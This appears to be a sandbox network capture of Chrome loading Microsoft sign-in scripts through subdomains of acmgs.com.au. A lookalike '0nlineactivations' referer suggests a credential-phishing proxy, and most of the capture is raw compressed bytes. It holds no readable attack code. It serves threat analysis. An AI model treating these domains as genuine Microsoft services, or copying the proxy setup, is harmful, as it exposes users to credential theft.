2024-12-20 19:31:41 UTC	736	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 733a3a80-2be4-42ef-8010-961eca882e03 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49750	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:41 UTC	524	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:43 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:43 GMT Content-Type: application/x-javascript Content-Length: 61135 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: 4923131e-701e-0003-7181-502232000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193142Z-16fbf75468ckhjzjhC1FRAuyhs00000009mg00000000ck9r x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:43 UTC	15573	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c 60 9a 94 97 38 a4 11 5e 59 a2 6d 26 da a2 25 4e 46 d6 e8 40 60 4b 82 4d 02 0c 00 4a d6 48 fc ef 4f 55 f5 8e 85 92 92 dc f7 be 27 b1 08 34 aa f7 ea ea ea ea 5a dc 9b 38 19 a7 37 ed 82 4d d8 94 15 d9 ed d9 0d 3b 9f 85 d1 d7 9f f2 34 99 05 4b bf de df 9f 9c 7a ed d9 3c bf 72 4f 4e d6 4f fd 13 df f7 2f e6 49 54 c4 69 e2 32 bf f0 13 ef ce 99 e7 ac 95 17 59 1c 15 4e 3f 69 67 6e e1 f9 49 7b ec 16 be f3 6b 38 99 b3 9f a1 02 c7 77 55 36 ef 2e 63 c5 3c 4b 5a 59 9b 2d 3c 05 3b bc 66 49 b1 1d 16 2c 89 6e 1b c0 c3 32 f8 3e cb f2 38 c7 2c ac 21 cb b9 91 e5 28 0b 23 b6 cd ae d9 a4 01 78 6c 00 6f cc 66 a3 24 8f 2f af 8a 7c 33 cd ea 8b 8f ad 16 bd 0b 73 d6 08 6a 16 7d 36 fc 06 4d 1e b3 f1 28 Data Ascii: iwF0'W`8^Ym&%NF@`KMJHOU'4Z87M;4Kz<rONO/ITi2YN?ignI{k8wU6.c<KZY-<;fI,n2>8,!(#xlof$/\|3sj}6M(
2024-12-20 19:31:43 UTC	12561	IN	Data Raw: 67 f6 02 26 9f 6d 74 26 57 42 7b c2 99 86 bc a8 f5 80 63 8b 6a 4a 9e 54 d1 2a 3c 3b 8c 9a ae e0 ca bf f5 87 fe 2e 55 b3 82 22 21 5d 14 2a 7b 6a 59 52 ee b9 b7 e5 eb 28 3e 8a aa 58 dc 5d c9 eb 91 2a 42 15 4f a4 66 24 e9 cb 15 33 42 61 ed 33 ee cd 40 8b 82 3c 34 80 ba 2e f0 2e 21 9f c1 16 b0 ba 6a bf 43 bb fc c8 d4 89 87 fc 91 7d b3 79 db 38 3c 5c 8d 8c cb 5e 38 9b 7c 53 43 2f a5 81 26 b5 8d ab ab fb 62 16 7c b4 4c d3 8d f5 e3 e0 3b 54 43 c1 2d 50 70 06 3c f4 cf f0 5b b1 79 71 89 f7 66 ea 22 c3 0c bb 54 e7 6e 9b 3c 6d 27 5c 5a 83 05 01 fb 49 3e 99 15 cf 8f 00 a4 8e 5c 98 0e 87 c2 85 7b 05 a4 a4 70 6f 28 c8 1f a0 f4 27 26 71 06 45 4f 90 f0 9e b9 7b fe 4d a3 e8 59 f4 8d fc 90 12 fc 6f f6 36 ee 96 d9 84 b2 55 80 c5 3d dc ed 8b 9b 20 58 b6 fb fc 12 a8 97 2c fa Data Ascii: g&mt&WB{cjJT<;.U"!]{jYR(>X]*BOf$3Ba3@<4..!jC}y8<\^8\|SC/&b\|L;TC-Pp<[yqf"Tn<m'\ZI>\{po('&qEO{MYo6U= X,
2024-12-20 19:31:43 UTC	16384	IN	Data Raw: d2 f4 19 a1 32 9a 9c 2b 6f 88 b7 25 06 e2 87 06 63 36 55 d8 19 e4 4d 2c d9 48 4a d1 d2 7c ae 51 27 81 18 43 19 5f 27 c5 cc 7f a5 a4 8e e0 84 42 6e f8 db 87 f7 ef 8a 62 22 cf bb 16 74 ac ad a5 ee 00 ba 04 52 f6 7e 59 a3 b4 79 f9 fa 71 12 e6 f9 de 97 f0 e1 90 25 12 80 76 a1 d0 f7 ca 18 1d e4 3a e0 f0 8d 16 97 f5 05 c3 71 ee 40 0d 77 d0 a0 6d 2b 98 92 90 02 7d ab 28 f8 a5 a1 cc 47 30 a8 74 5a 38 ec e5 7c 3e f7 bf 4f 37 a1 9e 27 98 19 fc 9a 37 b5 25 e2 a5 9c c7 70 29 07 34 35 4a bc ab 2d 31 58 ca 37 9a 2e e5 d6 e5 4b b9 a8 a3 a5 7c b4 f1 52 0e e8 d0 28 71 be 94 67 fc d3 52 9e 71 3d c7 6f b2 94 17 77 65 94 38 5c ca 77 fe 75 29 df f9 ed 52 be 73 3d 7f d3 e4 3b d7 73 62 4d be f3 b0 9e 89 6e 32 9e 8f 97 32 9e cf 96 32 9e f7 97 32 9e 5f 2f 65 3c d7 33 6b 4d c6 f3 Data Ascii: 2+o%c6UM,HJ\|Q'C_'Bnb"tR~Yyq%v:q@wm+}(G0tZ8\|>O7'7%p)45J-1X7.K\|R(qgRq=owe8\wu)Rs=;sbMn2222_/e<3kM
2024-12-20 19:31:43 UTC	16384	IN	Data Raw: 17 3f 81 20 98 f4 f6 65 af e4 05 47 2c 89 0c c1 36 1f f2 8a 56 94 19 e4 28 32 a5 de 15 d6 45 c6 cd a0 cc e5 30 3d 8b c2 6c 98 de d7 f9 46 c9 02 c9 0e 96 be fb 59 76 b2 a0 ab 9b 94 d2 94 8a c6 2e 0b 55 d8 87 94 75 38 51 83 75 76 e1 0c 0e 00 85 4f c1 f4 7b c5 59 03 25 ce 1a ff 7b f0 7f 53 f9 f6 db 14 17 c0 a6 8c ee f5 42 c0 7f dc 0b 23 79 8d 42 d5 63 77 53 f8 f6 c3 f5 da 97 f7 c5 1d de 4d 5f 7f 26 c6 14 29 f9 22 e2 2f 17 50 a9 2d cd 7b b4 80 19 a6 13 0d 76 ed 00 a3 69 7e a8 50 e6 57 b6 a3 4c c1 85 83 09 a3 60 b7 50 65 c9 cb c8 34 66 2c 10 1e c5 0c 0c 55 30 03 70 a9 1b 3d 9a a2 ee 45 0f ce 63 e8 4c 12 c1 dd e6 f8 4b 57 6e 26 bd 62 c6 88 f8 b9 b8 d7 68 1f 71 f6 53 ae 34 62 d8 93 c9 32 6c e7 5d 53 46 79 49 9b 1b e6 bd 75 be 8d 32 59 80 30 16 16 07 d6 c4 a6 59 Data Ascii: ? eG,6V(2E0=lFYv.Uu8QuvO{Y%{SB#yBcwSM_&)"/P-{vi~PWL`Pe4f,U0p=EcLKWn&bhqS4b2l]SFyIu2Y0Y
2024-12-20 19:31:43 UTC	233	IN	Data Raw: f9 6e 4a 77 75 fa 64 e3 1b 9e b0 0b 73 41 de 05 75 81 5d 06 8b 05 8c 5c 3c bb 2c 0b 3c 81 e9 52 4d d5 b8 2e 52 3a 40 53 3e ac dc 44 af 40 e5 90 9c 7c 15 a3 db 86 ef 46 32 d1 8f 14 d8 9e b0 79 88 a7 33 1e 66 b9 b5 99 5a 30 bc f6 46 2e 59 8a 06 1e 82 e4 68 42 cb 27 67 f9 9a 48 60 f8 6a 19 ee 2b e7 38 ac 77 6c 09 f2 83 36 b9 19 0c e9 cf 4c d2 dc 4c 52 58 b7 3f 53 53 ec 88 ec bb be 01 53 21 df a4 ef 32 9e 50 b7 25 56 a3 13 81 94 62 53 bd 6e 47 9c 02 29 26 ee 4d ed 40 dd 1d 61 42 ad 75 77 85 8e 59 da dd bb f3 ef 46 20 6a ff c7 e3 c7 ff b9 51 64 cb 1c 19 f5 c5 02 88 c4 c7 93 b7 41 96 46 87 c5 f9 b4 13 b5 a6 bb 61 ab f3 6c ff 49 6b da 6e 4d 9e 3e eb 34 bf 14 cd 79 b8 f8 1f ed 39 52 d8 27 e7 02 00 Data Ascii: nJwudsAu]\<,<RM.R:@S>D@\|F2y3fZ0F.YhB'gH`j+8wl6LLRX?SSS!2P%VbSnG)&M@aBuwYF jQdAFalIknM>4y9R'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49751	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:42 UTC	790	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:43 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:43 GMT Content-Type: application/x-javascript Content-Length: 116399 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A546E5C15E x-ms-request-id: b6127344-001e-0047-377e-5097a0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193142Z-16fbf75468c6mjpqhC1FRAkva00000000abg00000000e3fn x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:43 UTC	6413	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 7b da 48 b6 28 fc 7d ff 0a d0 ee a1 a5 a6 8c 11 c6 d8 11 96 19 27 71 7a 3c 93 c4 3e b6 33 3d 3d 0e 93 47 86 c2 28 01 89 91 84 2f 6d d8 bf fd 5d 6b 55 95 54 12 c2 c6 e9 de e7 7c 78 a7 9f 8e d1 a5 54 f7 5a f7 cb f6 4f d5 ff aa fc 54 d9 da fc bf ca c5 e5 d1 f9 65 e5 f4 5d e5 f2 2f 27 e7 6f 2b 67 70 f7 6b e5 e3 e9 e5 c9 9b e3 cd eb c1 46 f1 df e5 d8 8f 2b 23 7f c2 2b f0 7b ed c5 7c 58 09 83 4a 18 55 fc 60 10 46 b3 30 f2 12 1e 57 a6 f0 37 f2 bd 49 65 14 85 d3 4a 32 e6 95 59 14 7e e5 83 24 ae 4c fc 38 81 8f ae f9 24 bc ab 98 50 5d 34 ac 9c 79 51 f2 50 39 39 b3 1a 50 3f 87 da fc 1b 3f 80 af 07 e1 ec 01 ae c7 49 25 08 13 7f c0 2b 5e 30 a4 da 26 70 13 c4 bc 32 0f 86 3c aa dc 8d fd c1 b8 f2 c1 1f 44 61 1c 8e 92 4a c4 07 dc bf Data Ascii: k{H(}'qz<>3==G(/m]kUT\|xTZOTe]/'o+gpkF+#+{\|XJU`F0W7IeJ2Y~$L8$P]4yQP99P??I%+^0&p2<DaJ
2024-12-20 19:31:43 UTC	16384	IN	Data Raw: a0 f7 51 76 ce c9 db cf 20 1f 18 f7 cc bf 03 4d 01 5b d0 fd 27 83 ed e8 26 09 fb 9b f9 17 66 5c 8b 79 b5 e4 dd 43 02 c4 c7 88 ba 97 3d 79 4f 42 1c f5 64 22 ef 80 69 35 65 ac 80 94 86 62 68 49 80 9b 43 b8 29 3a d5 bf 2f 49 23 5c aa 96 72 fe c9 f2 26 4b 4e 92 ac 11 bb 67 0c 7d 0c bc ac 44 6f 80 d5 b6 11 7b 6e ef 03 14 4a ea 66 d4 33 a4 a3 07 50 89 06 30 ae b4 71 0c 14 b2 e1 dc d7 51 9d 4b 33 5f 47 45 6e 78 e5 f5 01 c4 cc 00 ba 4c 6b b5 a9 76 ec ee 80 a4 02 c0 92 df 29 62 6e d7 b8 93 95 41 ec 4f 3a 6e 68 dc c2 11 be 1a f4 4d fe 53 5c 8f 1a d9 34 33 e1 94 8c be 71 b8 d1 62 bd fa b2 90 0f 8c 2b 21 62 28 5a 08 45 d5 13 51 75 a8 57 1d f5 6e 50 c2 1c e8 6d 90 7c 41 97 a4 35 e1 94 76 ff de 03 02 06 f8 78 ae fb ef 2a 89 a5 66 77 71 0d 10 cf bc 87 0d df fb 07 fe c9 Data Ascii: Qv M['&f\yC=yOBd"i5ebhIC):/I#\r&KNg}Do{nJf3P0qQK3_GEnxLkv)bnAO:nhMS\43qb+!b(ZEQuWnPm\|A5vx*fwq
2024-12-20 19:31:43 UTC	16384	IN	Data Raw: ec fe be 42 97 52 12 4b 58 52 a0 cb b6 44 97 38 ca 19 59 a2 ec 4b 74 89 92 54 42 97 48 75 10 ba dc df 15 e8 72 7f 77 5f 08 62 3b 4d 12 c4 ce 49 aa 30 9d f2 a1 ef 25 1c 30 df 5c 1c c7 ec d1 3d 3c 9a 89 14 90 80 01 e7 8d b7 7e 3c 43 b5 05 60 bf 79 e3 9d 1c 15 a0 c1 79 e3 03 14 f1 6e f8 9b b1 17 04 7c 02 48 71 de 90 d1 99 bf b9 4d 00 a7 8f cb ee 38 2f f8 81 12 94 e5 08 6e 11 ae e1 34 bc 29 46 d1 9b 98 5f 50 a7 2f 4f ca 17 98 d0 ae 9c 5c bc 66 1c 53 65 02 e4 7d 4a 77 61 3d 22 5b 0f c5 ce 73 c5 e0 a1 4c c4 c5 be e6 5e c0 80 c3 38 91 c3 01 10 97 50 04 6c 84 87 83 70 52 37 b6 b7 8d 7a d0 18 43 11 40 5a 00 d1 ee 00 1c 5f e7 29 80 95 4c d0 68 b0 24 46 30 12 b6 9b 47 26 65 a6 1d 66 25 59 16 77 f2 cb 55 bd fe 2d a7 c3 f4 00 66 67 fa 31 b4 78 0f cd 6f 16 fb b6 64 f9 Data Ascii: BRKXRD8YKtTBHurw_b;MI0%0\=<~<C`yyn\|HqM8/n4)F_P/O\fSe}Jwa="[sL^8PlpR7zC@Z_)Lh$F0G&ef%YwU-fg1xod
2024-12-20 19:31:43 UTC	16384	IN	Data Raw: 47 13 15 86 36 9f 69 65 27 cf 0c 0d 0d 32 6b 16 49 bf 81 45 4b f1 90 af 6c 86 ac 6b 50 4e 38 9a 51 3d e4 68 9e 16 0e e2 ac a6 3f 5d 2e 3d b3 00 f1 62 01 ab 64 43 01 5b fd ef 00 01 b2 f1 4f 04 c1 59 95 ff 7a 7c 67 f2 84 4d 99 dc 99 ae dc 07 ab a4 e8 2e f8 21 40 16 f4 65 b0 de 84 50 64 23 ff 3c 84 a2 20 7a 1c 42 51 4d 23 3d ed ca 16 40 89 e6 6b 11 4b 62 92 3e c3 f9 55 e6 6a 3d fa 75 a7 8a ec cc 93 67 ca a9 ff aa 0c 05 a8 a5 b7 82 6f aa a7 b8 c7 cb 9c 46 5f b0 b3 f8 27 75 d0 88 75 df 86 87 6f d0 42 39 32 e3 c0 af df f8 81 71 ee 91 d3 8c c1 a7 d5 50 1b 9b 37 7e ec 05 41 4b f1 1d cd 9a 2c 6c 2d 76 f2 a2 be 10 7b 1d ed d6 95 28 76 8d fc b7 e0 40 e2 fc 19 25 6e e7 7c 7a da 08 da e8 eb 65 9c 5b 84 8b 99 8d 7c 52 61 33 f7 61 7e 24 72 eb 90 4a 59 a3 aa 34 51 1a eb Data Ascii: G6ie'2kIEKlkPN8Q=h?].=bdC[OYz\|gM.!@ePd#< zBQM#=@kKb>Uj=ugoF_'uuoB92qP7~AK,l-v{(v@%n\|ze[\|Ra3a~$rJY4Q
2024-12-20 19:31:43 UTC	9971	IN	Data Raw: 22 cb 4f ef 79 0b b8 93 d5 aa 98 f4 44 28 6d 9b 27 29 3b a3 60 9c f7 67 c2 33 34 ae a5 63 db 70 bf 4e a5 15 c7 eb 91 8b 18 f0 84 82 12 ad 90 4d f5 e6 b2 15 b6 b1 f4 78 ab e9 a6 1a c3 11 a7 ad 86 a4 56 2f a5 31 e5 2e 8f c1 e8 44 55 c5 f4 9b 52 79 9b a5 75 69 75 5e dc 47 45 41 f8 fe 12 00 42 c6 b0 35 4d c2 6c 0b f5 85 80 a7 3f 45 40 ca 06 5b 5f 5b a8 17 f9 7a 8b fb 42 ba fb 42 a4 a7 97 28 ab 2f a2 b2 a6 bc bf e5 a3 61 0a 62 b7 d6 0c 28 a2 9d aa 2e 13 7f 25 e3 b7 66 b4 7c 02 08 1b 5d b0 01 af 01 b1 8a aa bf b1 2f 51 f4 5d 15 99 8c fe 7c 9f 4c 5c 63 51 52 0d 9d c6 da 30 3a 95 e5 75 ea c3 70 bc cc 7b e0 52 ea 65 e4 81 21 12 c1 b5 0c e2 2d b9 00 9a ba 2f c0 eb ad 11 80 0d 28 0d 18 bc 87 c1 1c 56 83 2e 99 77 53 18 76 a2 2b e0 0d f0 72 c0 c6 ba bd e2 0d 90 6f 70 Data Ascii: "OyD(m');`g34cpNMxV/1.DURyuiu^GEAB5Ml?E@[_[zBB(/ab(.%f\|]/Q]\|L\cQR0:up{Re!-/(V.wSv+rop
2024-12-20 19:31:43 UTC	16384	IN	Data Raw: d8 8a a2 c6 34 3f 8a 4a 26 d5 2d 40 86 ea b0 36 f4 f2 80 55 74 66 4a 00 48 1f 41 45 91 68 26 94 ae 9b 0c b0 d0 d8 cc 29 99 00 24 b2 21 7c 18 04 eb e0 8f 61 66 84 f9 81 9f a4 d3 24 22 05 35 03 4e 2b 6b 01 67 ae 16 7c 68 01 13 eb 78 66 9c 93 68 68 ed 3d b2 ea d5 f0 1e 77 3c 45 cf 41 bf f9 2e df 24 46 b7 84 11 e8 b7 57 b5 e5 14 66 04 03 bc aa 5f 78 60 4a b7 74 34 4c bd ac 05 8c 41 ab d2 79 5a ee bc 36 34 b8 41 1c 2f 2b 74 62 06 a3 11 bb c9 a0 41 fd cc 74 76 8c 98 2b f1 8b f0 cd 83 ff 4e 06 09 82 25 b2 76 04 21 a1 d3 8a 0b 5d 98 b2 1f 66 ad 6c 01 88 f1 1a 1e a7 dd c0 e3 d4 58 03 e0 71 76 eb 3c 8e 15 56 cb 80 c7 39 a9 94 ad e1 21 98 7f a0 f4 4e 3e ea a9 34 fc 4b 00 5d 24 91 ea f5 a3 aa ef 2c 45 c5 45 5c 77 77 17 91 c2 1b ef 7f d2 28 96 b0 95 f3 cc df 3f 04 a0 Data Ascii: 4?J&-@6UtfJHAEh&)$!\|af$"5N+kg\|hxfhh=w<EA.$FWf_x`Jt4LAyZ64A/+tbAtv+N%v!]flXqv<V9!N>4K]$,EE\ww(?
2024-12-20 19:31:43 UTC	16384	IN	Data Raw: 67 1a 2b e5 91 fc 33 06 fb 01 1b 56 46 4c f7 5b 21 af 3f 1b 9b 55 53 32 51 3a c4 7c 14 0f 05 36 6e d5 6e 99 55 7a 1b 4c 83 b0 95 89 8c c4 6e 26 92 ed e8 06 1f 3f dd 64 58 2f 0b dc 24 83 c0 08 9c a3 5c 23 7d 44 55 76 59 5e 69 c9 17 a3 eb 44 e8 7b d4 58 11 fa d2 91 9e 12 fa 92 88 37 2d f4 45 d7 c8 81 39 d6 35 32 d6 d1 50 f0 3b 51 6d 65 ef f8 49 c0 46 e6 5b 2b 1c c3 19 77 bf 09 18 0d 60 8a a8 c1 15 73 64 a1 b0 62 13 e8 45 5f e0 8a 01 70 3d 63 34 3e 02 8a 89 0d d0 ec 28 d2 d3 86 b1 83 96 0d 0f b8 8d de 18 67 d6 37 c7 69 73 5c 07 48 70 2a 37 cd bb c5 c2 d3 fd b4 39 6e 40 8f a5 39 ae 6f fa dd 39 37 c7 f5 15 cb 30 26 de f6 cd 94 bd 58 ac b6 1a b3 29 bb e1 98 8b 72 9e e9 a9 8a 9d bb 96 6f e8 23 fd a6 30 45 0e 8e 12 c0 4c 8f 6f da d3 7c 9e 4d 00 b9 4d 51 9a 3b 46 Data Ascii: g+3VFL[!?US2Q:\|6nnUzLn&?dX/$\#}DUvY^iD{X7-E952P;QmeIF[+w`sdbE_p=c4>(g7is\Hp*79n@9o970&X)ro#0ELo\|MMQ;F
2024-12-20 19:31:44 UTC	16384	IN	Data Raw: 89 59 c6 c9 f9 79 60 3a a9 d9 44 63 ca 47 66 13 0e de 2c de 1c 59 72 a2 01 ce 26 d6 54 be 02 ac 79 02 07 33 0c 12 cc a7 b4 55 66 a5 d6 e1 92 c1 b0 0e 91 25 17 46 bc 23 f3 0e 33 2b be 3b fd 78 f1 eb f9 f5 e9 87 0f a7 7f 5c bf fc f4 fa f5 f9 87 eb 5f 2f ce 7f bb 42 df b7 ec 2f 4f 94 2f f1 2c 21 65 f4 02 c6 0b ad a2 e1 77 4a f4 1d 34 1c ae 24 5f 6c cf d1 ce 7d 15 a0 07 8a c8 03 a3 ea 6c 8e 57 cb 71 7a 45 cc a1 96 b2 35 12 e2 10 69 f4 41 79 17 05 7c a1 4d ac 8f ab 48 86 a2 4e de 3e 71 15 6d c4 50 d7 7e f3 3d 77 b4 c7 6b 6b dc 68 a9 dd 3f 76 00 0e 09 d2 f2 fd 9e e9 77 fb 00 84 28 a1 05 aa 60 33 73 c8 14 5a 68 c6 49 29 a4 0d 7a 93 bc f9 b7 41 11 24 5e 5a 93 03 ca 8d 85 bb 28 4a 50 01 ee 26 2f f6 5f c3 64 a6 d2 cc 1b c9 49 18 b7 ab 5b 46 db 3a 81 51 f6 31 e5 a8 Data Ascii: Yy`:DcGf,Yr&Ty3Uf%F#3+;x\_/B/O/,!ewJ4$_l}lWqzE5iAy\|MHN>qmP~=wkkh?vw(`3sZhI)zA$^Z(JP&/_dI[F:Q1
2024-12-20 19:31:44 UTC	1711	IN	Data Raw: 9f f6 49 1c 55 3c 5d 8f d6 71 2b 77 1d c8 02 6d e2 96 e9 a7 0a c0 7b b0 61 24 8b e1 38 b4 14 4a 93 61 45 77 1c cf de 2f 2d fb 7e 69 d9 f7 ab 97 7d 7f 69 d9 57 8f fb 15 8b da de 39 d4 a4 54 ea 7f da 68 b8 ef 0c 4d e7 9f 10 3b 3c 57 3a 7a 42 ae 8a f2 1e ef 27 57 89 61 bc 9f 5d 25 6c f1 3e b8 52 66 ed 7d 5e dc e7 91 e4 bf d2 f6 e5 4f d1 26 5b d6 7f 96 8a e8 bd 3b 4d 1c a2 df 6e e2 f0 1b 8c 1b a8 2f 15 f6 0d b2 37 05 33 07 ca fc fb 2d 1d 8a 23 5d fc a5 75 f7 97 d6 5d 51 eb ae 6c 18 f4 27 98 be 64 ff 09 33 85 bf 0c 6b fe 8b 0c 6b 3a 1b db 9b 6c 59 43 ce 38 a6 d2 cd c6 44 da d3 cc 56 18 cb ac 34 03 7e b0 89 2c 30 ae 59 d1 24 46 78 40 f0 ad 9d d6 e3 d6 46 47 ba e2 25 cf 09 19 4b 0d 81 79 3c 67 67 94 62 10 c8 8a 47 d5 86 28 2a ef 1d ba db c8 43 47 3e fa 12 50 7a Data Ascii: IU<]q+wm{a$8JaEw/-~i}iW9ThM;<W:zB'Wa]%l>Rf}^O&[;Mn/73-#]u]Ql'd3kk:lYC8DV4~,0Y$Fx@FG%Ky<ggbG(*CG>Pz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49752	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:42 UTC	883	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: dab02a46-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:43 UTC	489	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache x-ms-correlation-id: fd632a89-dee0-4601-b247-25e5c6fdcdd0 x-ua-compatible: IE=Edge x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: B8C99E4E529D4016B9A97FCD9553A729 Ref B: AMS231032601045 Ref C: 2024-12-20T19:31:42Z access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:43 UTC	1252	IN	Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404
2024-12-20 19:31:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49753	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
